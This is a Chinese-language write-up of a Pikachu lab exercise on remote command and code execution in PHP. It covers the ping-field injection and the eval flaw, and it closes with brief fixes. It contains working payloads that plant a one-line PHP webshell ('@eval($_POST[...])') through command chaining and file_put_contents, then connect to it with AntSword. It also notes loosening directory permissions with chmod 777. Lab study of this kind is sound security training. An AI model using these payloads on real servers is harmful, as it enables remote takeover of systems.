RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
exec “ping”
exec是PHP里面的函数执行命令,返回最后一行(可存到数组)
命令分隔符——实现在命令行中同时执行多条命令

查看代码,发现漏洞语句

可以发现处理||的时候不行,其他的都可以
遇到一个问题就是关于用户权限的问题(一直在想为什么木马文件创建失败,最后想到了权限,这也怪每次查看的时候都没有注意到写了kali才有读写的权限(kali是文件拥有者),而现在的用户是www-data)

中间也尝试了写在/tmp下面(有权限),但是没有移动文件的权限;写到根目录下面也不行。最后是在kali终端执行“sudo chmod 777 /var/www/html/pikachu/vul/rce/”(命令在修改目录的权限,让任何人都可以读、写、执行这个目录)
在输入框写入:127.0.0.1; echo '<?php @eval($_POST["7"]); ?>' > shell.php

打开蚁剑连接


修复
白名单、黑名单过滤、正则表达式限制等方法,最直接的就是对输入字符串判断是不是IP的格式,是否包含其他不该输入的。
exec “eval”
eval是php里面的执行函数,后面得是php代码,或者system(shell命令)
先进行代码审计,可以看到漏洞代码

那么在文本框里面输入echo phpinfo();测试漏洞是否存在,会发现页面返回phpinfo。执行 @eval('echo phpinfo();')

当时想的是直接在txt输入框里面输入9,然后打开蚁剑实现连接,但是尝试了之后发现失败,但是失败。原因:蚁剑的“密码”必须等于服务端 $_POST[…] 里写的那个字符串,且请求必须满足服务端代码的所有前置条件。输入框里填的字符串,会成为 $_POST['txt'] 的"值",而不是"参数名",执行 @eval('9')
然后想到直接在蚁剑输入txt连接,也失败。原因:需要点击submit才能触发下面的eval
然后有尝试输入@eval($_POST['9']);,然后点击上传执行 @!eval('@eval($_POST[’9‘]);'),但是蚁剑依旧是连接失败。原因是并没有改变 rce.php 这个文件的代码结构。
蚁剑连接时,请求里缺少 submit 参数,触发了 if 条件拦截,所以 eval 根本没有执行。
最后使用“以代码的方式上传一句话木马能实现,是因为改变了服务端的代码结构,服务端始终有一句话代码文件,且自己写的没有设置条件”
在输入框输入:file_put_contents('shell.php','<?php @eval($_POST[‘7’]);?>');。再输入system(‘ls’);查看

使用蚁剑连接,其中url为http://IP/vul/rce/shell.php

修复
移除 eval(),白名单函数,过滤等方法


